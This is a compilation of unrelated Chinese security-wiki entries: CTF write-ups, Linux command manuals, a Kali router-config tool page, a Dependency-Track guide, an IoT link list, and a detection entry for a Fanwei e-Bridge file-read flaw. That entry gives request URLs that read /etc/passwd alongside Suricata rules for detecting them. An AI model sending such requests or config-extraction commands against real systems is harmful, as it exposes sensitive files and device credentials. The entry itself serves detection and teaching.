正常访问8080端口，403
 (1) (1) (1) (1) (1).png>)
修改user-agent访问，找到了一个目录
 (1) (1) (1) (1) (1) (1) (1).png>)
访问phptax目录
```
curl -H "User-Agent:Mozilla/4.0" http://192.168.0.106:8080/phptax/
```
好像没什么东西，搜搜这个目录有没有payload，找到了
 (1) (1) (1) (1) (1).png>)
没有python，设置不了交互式的终端
 (1) (1) (1) (1) (1).png>)
freeesd9.0存在提权的exp。用echo命令直接复制粘贴过来
```
`echo' exp code ' > /tmp/exp.c`
```
找到flag
```
cd /root
ls
.cshrc
.history
.k5login
.login
.mysql_history
.profile
congrats.txt
folderMonitor.log
httpd-access.log
lazyClearLog.sh
monitor.py
ossec-alerts.log
cat congrats.txt
```
|
sec-knowleage
|
mtools
===
显示mtools支持的指令
## 补充说明
**mtools命令** 显示mtools支持的指令，mtools为MS-DOS文件系统的工具程序，可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接，因此会有一些共同的特性。
### 语法
```shell
mtools(选项)
```
### 选项
```shell
-a：长文件名重复时自动更改目标文件的长文件名；
-A：短文件名重复但长文件名不同时自动更改目标文件的短文件名；
-o：长文件名重复时，将目标文件覆盖现有的文件；
-O：短文件名重复但长文件名不同时，将目标文件覆盖现有的文件；
-r：长文件名重复时，要求用户更改目标文件的长文件名；
-R：短文件名重复但长文件名不同时，要求用户更改目标文件的短文件名；
-s：长文件名重复时，则不处理该目标文件；
-S：短文件名重复但长文件名不同时，则不处理该目标文件；
-v：执行时显示详细的说明；
-V：显示版本信息。
```
### 实例
使用mtools命令显示其支持的所有的指令，输入如下命令：
```shell
[root@localhost ~]# mtools #显示所有支持的指令名称
Supported commands:
mattrib, mbadblocks, mcat, mcd, mclasserase, mcopy, mdel, mdeltree
mdir, mdoctorfat, mdu, mformat, minfo, mlabel, mmd, mmount
mpartition, mrd, mread, mmove, mren, mshowfat, mtoolstest, mtype
mwrite, mzip
```
如上所示，其显示的所有命令均为mtools工具所支持的。
|
sec-knowleage
|
version: '2'
services:
web:
build: .
ports:
- "8000:8000"
depends_on:
- db
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=mysql
- MYSQL_DATABASE=cve
|
sec-knowleage
|
## Invest (Forensics, 50points)
tl;dr dump http objects, use scheme to get the key, decode the encrypted file using aes-256-cbc
We're given a [pcap file](invest.pcapng) that contains some internet traffic, there are lots of downloaded files so we decide to export them using `Export Objects -> HTTP`.
There are 2 folders: `chall` and `key`. Chall contains a lot of base64 encoded files which turn out to be a split encrypted message. We can concact them simply using `cat * > out`
Key folder has some 'funny' pictures but what interests us is `12767348_10208095326368148_1014857467_n.jpeg`: (my annotations)
And `key.txt`:
```
010001110101111001100011011011100100100100111001010111100100011101000111001110010100011100111001010001110011100101000111001110010101111001100011011011100100100101101110010010010011100100110101010111100110001100111001001101010110111001001001011011100100100101000111010111100011100100110101011011100100100101011110011000110100011101011110001110010011010101011110011000110101111001100011010111100110001101000111010111100101111001100011011011100100100101000111010111100011100100110101010001110101111001101110010010010101111001100011010111100110001101101110010010010101111001100011010111100110001100111001001101010100011101011110010111100110001101011110011000110101111001100011010001110101111001000111010111100101111001100011011011100100100101101110010010010101111001100011
```
We cannot use the key as the password (as well as decrypted binary). Let's try to run it through the graph byte by byte.
[decode.py](decode.py) does the job for us, we get `001101000101010101101011011110100011100100110101010001100011001001011001011100010101000001101001` or `4Ukz95F2YqPi` back, pretty good so far.
Looking up the message header (`Salted__`) we come across [this](http://justsolve.archiveteam.org/wiki/OpenSSL_salted_format) website. So we probably have to use openssl to decrypt the flag, okay but which encryption algorithm?...
Let's brute it!
```bash
code=(aes-128-cbc aes-128-ecb aes-192-cbc aes-192-ecb aes-256-cbc aes-256-ecb base64 bf bf-cbc bf-cfb bf-ecb bf-ofb camellia-128-cbc camellia-128-ecb camellia-192-cbc camellia-192-ecb camellia-256-cbc camellia-256-ecb cast cast-cbc cast5-cbc cast5-cfb cast5-ecb cast5-ofb des des-cbc des-cfb des-ecb des-ede des-ede-cbc des-ede-cfb des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb des-ede3-ofb des-ofb des3 desx rc2 rc2-40-cbc rc2-64-cbc rc2-cbc rc2-cfb rc2-ecb rc2-ofb rc4 rc4-40 seed seed-cbc seed-cfb seed-ecb seed-ofb)
for c in ${code[@]};
do
echo $c;
openssl $c -d -in out.bin -pass file:pass.txt -out decoded/$c;
echo $c;
done;
```
It turns out that aes-256-cbc runs without any problems, it creates a Microsoft Word 2007+ document. Since I don't have Microsoft Office(lol) let's just treat it as a zip and see what's inside.
Bingo!
|
sec-knowleage
|
# 低信誉网站托管服务清单
同[低信誉网站托管服务清单](https://wiki.y1ng.org/0x7_%20%E5%A8%81%E8%83%81%E7%8B%A9%E7%8C%8E/7x9_%E4%BD%8E%E4%BF%A1%E8%AA%89%E7%BD%91%E7%AB%99%E6%89%98%E7%AE%A1%E6%9C%8D%E5%8A%A1%E6%B8%85%E5%8D%95/)篇
|
sec-knowleage
|
# 236927 - Introduction to Robotics
Category: Web
## Description
> I created this awesome site for Introduction to Robotics and hidden a flag in it, it's hidden so well even google won't find it!
## Solution
The challenge name and description are clear references to `robots.txt`.
```console
root@kali:/media/sf_CTFs/technion/236927_-_Introduction_to_Robotics# curl http://ctf.cs.technion.ac.il:4008/robots.txt
Disallow: /my_very_secret_flag
```
Let's visit that page:
```console
root@kali:/media/sf_CTFs/technion/236927_-_Introduction_to_Robotics# curl http://ctf.cs.technion.ac.il:4008/my_very_secret_flag -s | grep cstechnion
cstechnion{th35e_4ReN7_tH3_r08ots_y0ur3_100kin6_fOr}
```
|
sec-knowleage
|
---
title: copy-router-config
categories: Vulnerability Analysis
tags: [copy-router-config,snmp,kali linux,vulnanalysis,information gathering,networking]
date: 2016-10-19 22:00:00
---
0x00 copy-router-config介绍
-------------
从运行SNMP的思科设备复制配置文件
工具来源：braa README
[copy-router-config主页][1] | [Kali copy-router-config Repo仓库][2]
- 作者：muts
- 证书：GPLv2
0x01 copy-router-config功能
---------------
copy-router-config.pl - 通过SNMP协议复制Cisco配置
```shell
root@kali:~# copy-router-config.pl
######################################################
# Copy Cisco Router config - Using SNMP
# Hacked up by muts - muts@offensive-security.com
#######################################################
用法 : ./copy-copy-config.pl <路由IP> <tftp服务器IP> <社区字符串>
确保TFTP服务器已设置，最好从/tmp运行！
```
注：社区字符串（community string）是一个用在基于简单网络管理协议(SNMP)的管理系统的概念，是一个起着密码作用的文本串，其被用来鉴别在管理站点和一个包含SNMP信息的代理的路由器之间的信息发送。并将被发送到在管理器和代理之间的每个数据包。
0x02 merge-router-config功能
--------------------------
merge-router-config.pl - 通过SNMP协议合并Cisco配置
```shell
root@kali:~# merge-router-config.pl
######################################################
# Merge Cisco Router config - Using SNMP
# Hacked up by muts - muts@offensive-security.com
#######################################################
用法 : ./merge-copy-config.pl <路由IP> <tftp服务器IP> <社区字符串>
确保TFTP服务器已设置，最好从/tmp运行！
```
0x03 copy-router-config用法示例
-----------------
将配置从路由器（192.168.1.1）复制到TFTP服务器（192.168.1.15），使用社区字符串（private）进行认证：
```shell
root@kali:~# copy-router-config.pl 192.168.1.1 192.168.1.15 private
```
0x04 merge-router-config用法示例
-----------------
将配置从路由器（192.168.1.1）合并到TFTP服务器（192.168.1.15），使用社区字符串（private）：
```shell
root@kali:~# merge-router-config.pl 192.168.1.1 192.168.1.15 private
```
[1]: http://www.offensive-security.com/
[2]: http://git.kali.org/gitweb/?p=packages/copy-router-config.git;a=summary
|
sec-knowleage
|
# T1190-泛微OA任意文件读取
## 来自ATT&CK的描述
使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
泛微云桥（e-Bridge）是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞，攻击者成功利用该漏洞，可实现任意文件读取，获取敏感信息。
### 影响范围
2018-2019多个版本
## 检测日志
HTTP
## 测试复现
第一步：/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt(windows)、使用/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt(linux)获取返回包有id字符串；
第二步：通过id值获取文件内容(/file/fileNoLogin/id)
## 测试留痕
可参看此文章：<https://www.cnblogs.com/yuzly/p/13677238.html>
## 检测规则/思路
### Suricata规则
```yml
alert http any any -> any any (msg:"泛微OA任意文件读取-rsq";flow:established,to_server;content:"GET";http_method;content:"/wxjsapi/saveYZJFile?fileName=test&downloadUrl=";startswith;pcre:"/&fileExt=txt/";flowbits:set,first_get_rsq;noalert;http_uri;reference:url,www.cnblogs.com/yuzly/p/13677238.html;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"泛微OA任意文件读取-resp";flow:established,to_client;content:"200";http_stat_code;content:"filepath";http_server_body;flowbits:isset,first_get_rsq;flowbits:set,first_get_resp;noalert;sid:2;rev:1;)
alert http any any -> any any (msg:"泛微OA任意文件读取";flow:established,to_server;content:"GET";http_method;content:"/file/fileNoLogin/";http_uri;flowbits:isset,first_get_resp;sid:3;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
泛微云桥e-Bridge-任意文件读取漏洞
<https://www.pianshen.com/article/15362003109/>
|
sec-knowleage
|
# Forky
Reverse Engineering, 500 points
## Description:
> In this program, identify the last integer value that is passed as parameter to the function doNothing().
## Solution:
Let's check the binary we've received:
```console
root@kali:/media/sf_CTFs/pico/Forky# file ./vuln
./vuln: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=07ba8a5f157f85c5da80ebf5bd64b33cc60e98b6, not stripped
root@kali:/media/sf_CTFs/pico/Forky# ./vuln
root@kali:/media/sf_CTFs/pico/Forky#
```
Doesn't do much. The Ghidra decompiler shows the following code:
```c
undefined4 main(undefined1 param_1)
{
int *piVar1;
piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
*piVar1 = 1000000000;
fork();
fork();
fork();
fork();
*piVar1 = *piVar1 + 0x499602d2;
doNothing(*piVar1);
return 0;
}
void doNothing(undefined4 param_1)
{
__x86.get_pc_thunk.ax();
return;
}
```
So this program recursively forks itself and calls `doNothing`. We need to identify last integer value that is passed as parameter to `doNothing()`.
If this question isn't timing-dependent, I don't understand why. In any case, I started by trying to utilize GDB to provide the answer, with the following command:
```console
gdb ./vuln -ex 'set follow-fork-mode child' -ex 'dprintf *doNothing+19, "%d\n", $eax' -ex 'r' -ex 'q'
```
When `fork` is called in a program and a child process is created, GDB must choose which process it should debug. The default is to continue debugging the parent, but there's a setting to request GDB to attach to the child instead: `set follow-fork-mode child`.
After requesting GDB to attach to the child upon every fork, the command above uses `dprintf` to print `eax` at the following location:
```assembly
gdb-peda$ disas doNothing
Dump of assembler code for function doNothing:
0x0000054d <+0>: push ebp
0x0000054e <+1>: mov ebp,esp
0x00000550 <+3>: sub esp,0x10
0x00000553 <+6>: call 0x5fa <__x86.get_pc_thunk.ax>
0x00000558 <+11>: add eax,0x1a7c
0x0000055d <+16>: mov eax,DWORD PTR [ebp+0x8]
0x00000560 <+19>: mov DWORD PTR [ebp-0x4],eax <----------------- eax will be printed here
0x00000563 <+22>: nop
0x00000564 <+23>: leave
0x00000565 <+24>: ret
End of assembler dump.
```
The answer I received is `1104081276`, which wasn't accepted by the server.
Instead of a runtime solution, let's try to calculate what should happen. The first process creates 4 children. The first child creates 3 children, the second 2 children, the third 1 child and the forth 0 children. This continues recursively. This means that we'll have 16 processes altogether. Here's a diagram that might help visualize this:
```
+
|
+-----------------------------------+
| |
+-----------------+ +-----------------+
| | | |
+--------+ +--------+ +--------+ +--------+
| | | | | | | |
+---+ +---+ +---+ +---+ +---+ +---+ +---+ +---+
| | | | | | | | | | | | | | | |
O O O O O O O O O O O O O O O O
```
Every `O` is a process, where the leftmost process is the parent which forks 4 children and so on.
We can double check this calculation using `ltrace -f`:
> -f: Trace child processes as they are created by currently traced processes as a result of the fork(2) or clone(2) system calls. The new process is attached immediately.
Output:
```console
root@kali:/media/sf_CTFs/pico/Forky# ltrace -f ./vuln 2>&1 | grep "+++ exited"
[pid 3877] +++ exited (status 0) +++
[pid 3881] +++ exited (status 0) +++
[pid 3880] +++ exited (status 0) +++
[pid 3882] +++ exited (status 0) +++
[pid 3879] +++ exited (status 0) +++
[pid 3883] +++ exited (status 0) +++
[pid 3884] +++ exited (status 0) +++
[pid 3886] +++ exited (status 0) +++
[pid 3887] +++ exited (status 0) +++
[pid 3888] +++ exited (status 0) +++
[pid 3891] +++ exited (status 0) +++
[pid 3890] +++ exited (status 0) +++
[pid 3889] +++ exited (status 0) +++
[pid 3885] +++ exited (status 0) +++
[pid 3878] +++ exited (status 0) +++
[pid 3892] +++ exited (status 0) +++
root@kali:/media/sf_CTFs/pico/Forky# ltrace -f ./vuln 2>&1 | grep "+++ exited" | wc -l
16
```
So, if we understand correctly what the question is asking from us, we need to calculate `1000000000 + (16 * 0x499602d2)`, taking into consideration integer overflow and sign:
```python
>>> import numpy
>>> base = numpy.int32(1000000000)
>>> step = numpy.int32(0x499602d2)
>>> base + 16*step
__main__:1: RuntimeWarning: overflow encountered in long_scalars
-721750240
```
Indeed, `picoCTF{-721750240}` was accepted as an answer.
|
sec-knowleage
|
accept
===
指示打印系统接受发往指定目标打印机的打印任务
## 补充说明
**accept命令** 属于CUPS套件，用于指示打印系统接受发往指定目标打印机的打印任务。
### 语法
```
accept(选项)(参数)
```
### 选项
```
-E：当连接到服务器时强制加密；
-U：指定连接服务器时使用的用户名；
-h：指定连接服务器名和端口号。
```
### 参数
目标：指定目标打印机。
|
sec-knowleage
|
# Dependency Track
## 简介
Dependency-Track是一个智能的组件分析平台，可以帮助组织识别和减少软件供应链中的风险。Dependency-Track采用了一种独特而极具益处的方法，利用了软件材料清单（SBOM）的功能。这种方法提供了传统软件组成分析（SCA）解决方案无法实现的功能。
Dependency-Track监视其组合中每个应用程序的所有版本中的组件使用情况，以便在整个组织范围内主动识别风险。该平台具有API优先设计，并且非常适合在CI/CD环境中使用。
通过使用Dependency-Track，组织可以更好地了解其应用程序中使用的组件，识别其中的漏洞和威胁，以及评估这些组件的风险。此外，Dependency-Track还提供了一些其他功能，例如：
1. 漏洞管理：提供漏洞管理和追踪功能，帮助组织将漏洞及时修复，并跟踪漏洞修复的进度。
2. 管理仪表板：提供管理仪表板，帮助组织快速了解其应用程序的组件情况和安全状态。
3. 安全分析：提供安全分析功能，帮助组织分析其应用程序的安全性，识别可能存在的安全问题，并提供相应的建议和解决方案。
综上所述，Dependency-Track是一种非常有用的组件分析平台，可以帮助组织识别和减少软件供应链中的风险，提高应用程序的安全性和稳定性。
------
Dependency-Track的特点包括：
1. 支持消费和生产CycloneDX软件材料清单（SBOM），支持CycloneDX漏洞利用交换（VEX）。
2. 支持多种组件类型，包括应用程序、库、框架、操作系统、容器、固件、文件、硬件和服务等。
3. 能够跟踪组件在组织组合中的使用情况，快速识别受影响的组件和位置。
4. 能够识别多种风险，包括已知漏洞的组件、过时的组件、修改过的组件、许可证风险等。
5. 集成多个漏洞情报来源，包括国家漏洞数据库（NVD）、GitHub建议、Sonatype OSS Index、Snyk、OSV、Risk Based Security的VulnDB等。
6. 帮助确定优先级，通过支持漏洞利用预测评分系统（EPSS）。
7. 维护一个私人漏洞组件数据库。
8. 支持全局和项目级策略的强大策略引擎，包括安全风险和合规性、许可证风险和合规性、操作风险和合规性等。
9. 支持各种生态系统，包括Cargo（Rust）、Composer（PHP）、Gems（Ruby）、Hex（Erlang/Elixir）、Maven（Java）、NPM（Javascript）、NuGet（.NET）和Pypi（Python）等。
10. 能够识别API和外部服务组件，包括服务提供商、端点URI、数据分类、数据流方向、信任边界遍历、身份验证要求等。
11. 包括一个全面的审计工作流程，用于处理结果。
12. 支持可配置通知，包括Slack、Microsoft Teams、Mattermost、Webhooks、电子邮件和Jira。
13. 支持SPDX许可证标识，并跟踪组件的许可证使用。
14. 提供易于阅读的组件、项目和组合的指标。
15. 原生支持Kenna Security、Fortify SSC、ThreadFix和DefectDojo。
16. 具有API优先设计，便于与其他系统进行集成。API文档以OpenAPI格式提供。
17. 支持OAuth 2.0 + OpenID Connect（OIDC）单一登录（authN/authZ）。
18. 支持内部管理的用户、Active Directory/LDAP和API密钥。
19. 安装和配置简单，只需几分钟即可上手。
## 检测原理
为了有效地管理和跟踪这些组件，Dependency Track需要准备一份软件组件清单，也就是软件构建材料清单（Software Bill of Materials，SBOM）。
SBOM清单是一份详细的清单，包含了软件中使用的所有组件和库的详细信息，包括版本号、许可证、来源、依赖关系等。通过准备这份清单，可以让开发团队更好地了解软件中使用的组件和库，帮助他们更好地进行漏洞管理、版本控制和风险评估等方面的工作。
通过使用SBOM清单，Dependency Track可以将软件中使用的组件和库与已知的漏洞进行比对，并向用户提供相关的漏洞信息、安全建议和修复方案。
**可以通过使用`cyclonedx-maven`插件生成SOMB的信息。**
> https://github.com/CycloneDX/cyclonedx-maven-plugin
## 安装
```sh
# Downloads the latest Docker Compose file
curl -LO https://dependencytrack.org/docker-compose.yml
```
修改`docker-compose.yaml`
```
API_BASE_URL=http://192.168.32.130:8081
```
启动服务
```
docker-compose up -d
```
使用默认账号密码进行登录：`admin/admin`
## CICD
docker启动Jenkins
```
docker run -itd -p 9090:8080 -p 50000:50000 -u root -v /tmp/jenkins:/var/jenkins_home -v /tmp/maven:/usr/local/maven jenkins/jenkins:2.344
```
安装`Dependency-Track`插件
> Dependency-Track Jenkins插件有助于将CycloneDX软件材料清单（SBOM）发布到Dependency-Track平台。
>
> Dependency-Track是一个智能的软件供应链组件分析平台，允许组织识别和减少使用第三方和开源组件所带来的风险。发布SBOM可以异步或同步执行。
>
> 异步发布只是将SBOM上传到Dependency-Track，作业继续进行。同步发布等待Dependency-Track处理上传的SBOM。同步发布的好处是显示交互式作业趋势和每个构建的发现。
在teams创建API key
配置API URL和API key
需要在DT平台创建一个test项目
插件选择test项目
在pom.xml添加以下内容，用于生成`bom.xml`
```
<build>
<plugins>
<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.7.5</version>
<executions>
<execution>
<phase>compile</phase>
<goals>
<goal>makeAggregateBom</goal>
</goals>
</execution>
</executions>
<configuration>
<outputFormat>xml</outputFormat>
</configuration>
</plugin>
</plugins>
</build>
```
> 或者Jenkins命令构建时，用`mvn clean compile org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom`
>
> 
构建项目成功
返回上一层，可以看到漏洞总览
点击Dependency-Track Report，会在Jenkins看到安全漏洞信息。
点击Dependency-Track Project会跳转到DT页面
点击 Components可以看到组件漏洞信息
随便点击一个组件进去，可以看到具体的CVE编号
查看漏洞详情描述
有组件license检测
|
sec-knowleage
|
## Maybe About IOT
[Custom made versatile autonomous MiTM WiFi box v1.0](http://blog.gerzic.rs/custom-made-versatile-autonomous-mitm-wifi-box)
[VxWorks Fuzzing 之道：VxWorks工控实时操作系统漏洞挖掘调试与利用揭秘](http://blog.knownsec.com/2016/01/vxworks-real-time-operation-system-fuzzing/)
[DAMN VULNERABLE ROUTER FIRMWARE](http://b1ack0wl.com/projects/2015/12/25/Damn-Vulnerable-Router-Firmware/)
[WINKHUB 边信道攻击 (NAND Glitch)](http://drops.wooyun.org/tips/12370)
[一维条形码攻击技术(Badbarcode)](http://drops.wooyun.org/tips/12183)
[物理黑：关于HID的一些攻击姿势解析](http://www.freebuf.com/articles/system/92519.html)
[永不消逝的电波（四）：从无线电角度揭秘定位劫持](http://www.freebuf.com/news/special/87353.html)
[闭路电视DVR的破解过程](http://bobao.360.cn/learning/detail/2747.html)
[闭路电视探头究竟有多不安全？](http://www.freebuf.com/vuls/96412.html)
[PWNING CCTV CAMERAS](https://www.pentestpartners.com/blog/pwning-cctv-cameras/)
[TheFatRat：Msfvenom傻瓜化后门生成工具](http://www.freebuf.com/sectool/113597.html)(**其实跟iot没啥关系**)
[WiFi安全（PIN码穷举破解、握手包跑字典）](http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458279512&idx=1&sn=2bfbaff70e31bdd4f5f76977962b1943&scene=1&srcid=0906BFO0gYKwkb9aUj4COORC#rd)
[开源BTS产品中存在多处漏洞，攻击者或可劫持手机通讯基站](http://www.freebuf.com/vuls/112914.html)
[目前已有超过12万物联网设备构成DDoS僵尸网络](https://jaq.alibaba.com/community/art/show?articleid=498)
[Arduino IoT 设备的安全性分析和漏洞利用](http://www.seg.inf.uc3m.es/~guillermo-suarez-tangil/papers/2016mal-iot.pdf)
[BCBP登机牌安全研究の第一弹](http://bobao.360.cn/news/detail/3448.html)
[BCBP登机牌安全研究の第二弹](http://bobao.360.cn/news/detail/3449.html)
[BCBP登机牌安全研究の第三弹](http://bobao.360.cn/news/detail/3450.html)
[大众曝漏洞：1亿大众汽车门锁可被远程打开](http://www.freebuf.com/news/111769.html)
[如何利用c118搭建基站发短信实验？](http://www.freebuf.com/articles/wireless/114517.html)
[三星智能监控摄像头被爆远程代码执行漏洞（含POC）](http://bobao.360.cn/learning/detail/2964.html)
[细说USB安全：这年头真的还有USB设备是安全的吗？](http://www.freebuf.com/articles/terminal/111905.html)
[腾讯科恩实验室最新研究成果：对特斯拉的无物理接触远程攻击](http://keenlab.tencent.com/zh/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars)
[免费路由的内幕与真相：留后门劫持流量窃取用户隐私](http://www.freebuf.com/articles/terminal/110542.html)
[Android 和 Apple Watch 上的 7 款健身手环的安全性分析](https://www.av-test.org/fileadmin/pdf/avtest_2016-07_fitness_tracker_english.pdf)
[使用GnuRadio + OpenLTE + SDR 搭建4G LTE 基站（上）](http://www.freebuf.com/articles/wireless/108417.html)
[D-Link Wi-Fi 摄像头存在漏洞，该摄像头在该公司多达 120 款产品中使用](https://threatpost.com/d-link-wi-fi-camera-flaw-extends-to-120-products/119097/)
[Dlink DWR-932B路由器被爆多个安全漏洞](http://bobao.360.cn/learning/detail/3079.html)
[Senrio - 网络中的 IoT 设备发现工具](https://securityledger.com/2016/06/startup-senrio-sniffs-out-stealth-iot-devices-on-your-network/)
[Sabertooth - 三行代码实现通过浏览器与蓝牙设备交互](https://sabertooth-io.github.io/)
[D-link Wi-Fi 摄像头存在一个可远程攻击的漏洞（未修复）](https://threatpost.com/unpatched-d-link-wi-fi-camera-flaw-remotely-exploitable/118549/)
[Hacking the Kinect (Guide to Reverse Engineering USB protocols) ](https://learn.adafruit.com/hacking-the-kinect/overview)
[Abusing Easy Smart TP-Link switches. How to sniff and crack admin creds:](https://www.pentestpartners.com/blog/how-i-can-gain-control-of-your-tp-link-home-switch/)
[ATMZombie: banking trojan in Israeli waters ](https://securelist.com/blog/research/73866/atmzombie-banking-trojan-in-israeli-waters/)
[当地铁遇上黑客，会有什么故事发生](http://www.freebuf.com/articles/terminal/98026.html)
[GSM Hacking:静默短信（Silent SMS）在技术侦查中的应用](http://www.freebuf.com/articles/terminal/98848.html)
[Bluetooth Hacking ① :如何利用MouseJack进行物理攻击（鼠标篇）](http://www.freebuf.com/articles/terminal/97011.html)
[攻击 uboot，解锁 Amazon kindle ](http://spudowiar.me/android/bootloader/2016/03/03/kfsowi-bootloader-cracked/ )
[走进VR游戏开发世界 揭秘与传统游戏差异](http://www.tuicool.com/articles/Y3eUf2j)
[针对 Steam 游戏平台的攻击行动](https://securelist.com/blog/research/74137/all-your-creds-are-belong-to-us/ )
[揭秘黑客是如何黑掉三星NX300智能相机的](http://www.freebuf.com/vuls/99951.html)
[Reverse Engineering Digital Signals：数字信号逆向](https://www.fleark.de/keyfob.pdf)
[使用ESP8266模块构建以太网连接的远程wifi嗅探平台](http://phasenoise.livejournal.com/4003.html)
[Hacking Tesla Model S - 获取触摸屏的 ROOT 权限](http://www.su-tesla.space/2016/04/hack-s.html)
[Samsung Galaxy调制解调器接口通过usb暴露](https://github.com/ud2/advisories)
[Cellebrite 公司正在开发一款智能手机取证设备，这个设备可以判断用户在某个时间点是否在使用手机。这个可用于判断交通事故中驾驶员当时是否在玩手机](https://www.schneier.com/blog/archives/2016/04/smartphone_fore.html)
[用智能手机攻击 kevo 蓝牙智能锁，来自 CanSecWest 2016 会议](http://www.slideshare.net/CanSecWest/csw2016-song-lismartwars)
[IOT设备将有可能被黑客部署木马](http://bobao.360.cn/news/detail/2948.html )
[看我如何破解微软手环](http://www.freebuf.com/geek/102491.html)
[AirPort 是苹果的一款无线基站（路由器）设备](http://embeddedideation.com/2016/04/24/airport-hacking-update/)
[Rooting the Amazon Echo， Amazon Echo 是一款智能硬件，可以通过语音控制它以及它所连接的设备](https://rbfi.io/dl.php?key=/w3kf/rooting_the_amazon_echo.pdf)
[在手机App读取银行闪付卡信息的时候进行嗅探&窃听](http://www.freebuf.com/geek/104239.html)
[一个新的针对IoT设备的木马NyaDrop在野外流行](http://securityaffairs.co/wordpress/52273/malware/elf-linux-nyadrop-iot.html)
[中国制造IOT设备遭恶意软件Mirai感染成为近期DDOS攻击主力](http://www.freebuf.com/news/116722.html)
[Hajime:一个去中心化的IoT蠕虫](http://news.softpedia.com/news/hajime-iot-worm-considerably-more-sophisticated-than-mirai-509423.shtml)
[多款蓝牙低功耗跟踪器被发现漏洞](https://community.rapid7.com/community/infosec/blog/2016/10/25/multiple-bluetooth-low-energy-ble-tracker-vulnerabilities?CS=social)
[智能硬件设备八大安全问题分析](http://www.freebuf.com/articles/terminal/117262.html)
[你家路由器“有趣”的24小时：路由器真的安全吗？（含视频）](http://www.freebuf.com/news/topnews/117748.html)
[Dlink DIR路由器HNAP登录函数的多个漏洞](http://bobao.360.cn/learning/detail/3191.html)
[每个无线路由器都是窃听神器：房间里的一举一动它都能感应](http://www.freebuf.com/news/119120.html)
[New IoT botnet behind fake Instagram, Twitter and YouTube profiles](http://www.ibtimes.co.uk/new-iot-botnet-behind-fake-instagram-twitter-youtube-profiles-1592761)
[美国或将再次遭遇大规模断网?!西海岸遭受每秒400G新型僵尸网络攻击](https://www.easyaq.com/newsdetail/id/1347269875.shtml)
[索尼80款监控摄像头存秘密后门，IoT设备的加速沦陷](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.2Hz7Dd&articleid=651)
[物联网设备安全分析之网络摄像头篇](http://bobao.360.cn/learning/detail/3269.html)
[NetGear多款路由器远程命令注入漏洞分析(更新补丁分析) ](http://bobao.360.cn/learning/detail/3287.html)
[淘宝找回手机业务的“隐藏功能”竟然便宜了骗子！](https://www.anquan.org/news/2531)
[通信监听：来自联邦政府的多纲目触手](https://mp.weixin.qq.com/s/p9XelW0FOwPXWctdW2JtLA)
[CVE-2016-8655内核竞争条件漏洞调试分析](http://bobao.360.cn/learning/detail/3321.html)
[时隔一年，乌克兰再次发生大规模停电事件 ](http://bobao.360.cn/news/detail/3853.html)
[黑客发现多个漏洞 轻松破解松下航空机载娱乐IFE系统](http://securityaffairs.co/wordpress/54581/hacking/hacking-ife-systems.html)
[一个针对银行的恶意软件Alice出现 可清空ATM机中的现金](http://www.securityweek.com/new-alice-malware-drains-all-cash-atms)
[DNSChanger Malware is Back! Hijacking Routers to Target Every Connected Device](http://thehackernews.com/2016/12/dnschanger-router-malware.html)
[DNC与乌克兰网络攻击共同点：都用了来自俄罗斯的Android恶意软件](http://www.cnbeta.com/articles/570341.htm)
[巴诺NOOK电子书感染了广升的恶意程序，回传用户数据至中国](http://www.freebuf.com/news/123879.html)
[国外地下市场出售70W+中国apple账号](http://www.mottoin.com/94716.html)
[19个练习黑客技术的在线网站](https://jaq.alibaba.com/community/art/show)
[FBI和DHS发布联合报告，奥巴马对俄罗斯涉嫌干预美国大选进行制裁](http://www.freebuf.com/news/124137.html)
[IoTSeeker：物联网设备默认密码扫描检测工具](http://www.freebuf.com/sectool/123977.html)
[Dlink DWR-932B 路由器多个漏洞的分析](https://pierrekim.github.io/blog/2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html)
[大量Netgear路由器存在密码绕过漏洞，来看你家路由器是否中枪](http://www.freebuf.com/news/126063.html)
[实战栈溢出：三个漏洞搞定一台路由器](https://zhuanlan.zhihu.com/p/26271959)
[发条短信，路由器竟主动吐露Wi-Fi密码](http://www.4hou.com/info/news/4249.html)
[近期发现的几个在野 IoT Botnet分析](http://resources.infosecinstitute.com/rise-iot-botnet-beyond-mirai-bot)
[物联网新威胁—Hajime蠕虫比Mirai更复杂](http://www.infoworld.com/article/3190524/security/iot-malware-clashes-in-a-botnet-territory-battle.html#tk.rss_security)
[WikiLeaks 公开CIA入侵三星智能电视的方法](https://wikileaks.org/vault7/#Weeping%20Angel)
[IoT 设备无线协议对照表](http://glowlabs.co/wireless-protocols)
[如何黑掉基于ZigBee的IoT设备](http://bobao.360.cn/learning/detail/3813.html)
[小米九号平衡车国际版Ninebot mini PRO存在严重安全漏洞可被攻击者远程控制](http://www.freebuf.com/news/141341.html)
